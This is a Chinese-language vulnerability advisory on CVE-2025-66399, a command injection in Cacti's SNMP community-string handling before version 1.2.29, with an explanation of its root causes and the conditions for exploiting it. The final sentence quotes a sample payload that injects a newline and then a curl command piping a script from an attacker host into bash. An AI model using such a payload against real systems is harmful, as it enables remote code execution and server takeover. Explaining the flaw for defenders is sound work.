CVE-2025-66399Cacti是一款开源的网络性能监控和故障管理框架。在1.2.29之前的版本中,其SNMP设备配置功能存在严重的输入验证漏洞。攻击者可以利用该漏洞,通过在SNMP community字符串中注入控制字符(特别是换行符等特殊字符),绕过系统的输入验证机制。这些恶意的community字符串会被直接存储到数据库中,并在后续的SNMP操作中被调用。当下游的SNMP工具或脚本处理这些包含特殊字符的数据时,换行符可能被解释为命令分隔符,从而导致任意命令在Cacti服务进程的权限下执行。该漏洞需要认证用户权限,但认证门槛较低,在多租户或共享环境中风险尤为突出。成功利用此漏洞可导致服务器被完全控制,造成数据泄露、服务中断等严重后果。
该漏洞的根本原因在于Cacti对用户输入的SNMP community字符串缺乏充分的输入验证和过滤。具体来说:1. 输入验证缺陷:Cacti的SNMP设备配置模块直接接受用户提供的community字符串,未对控制字符(如\n、\r、\0等)进行过滤或转义。2. 存储层污染:恶意字符串被原样存储到数据库中,未经安全处理。这使得攻击载荷能够持久化存在。3. 执行层触发:当Cacti执行SNMP操作(如snmpwalk、snmpset等)时,这些字符串被传递给底层SNMP工具。如果外部脚本或工具将换行符作为命令分隔符处理,则可能执行注入的恶意命令。4. 利用条件:攻击者需要拥有有效的Cacti用户账号(低权限即可),能够访问SNMP设备配置功能。在某些配置下,SNMP操作可能以更高权限的系统用户身份执行,从而扩大攻击影响。攻击者可通过构造形如'validcommunity\ncurl http://attacker.com/shell.sh|bash'的community字符串来实现命令注入。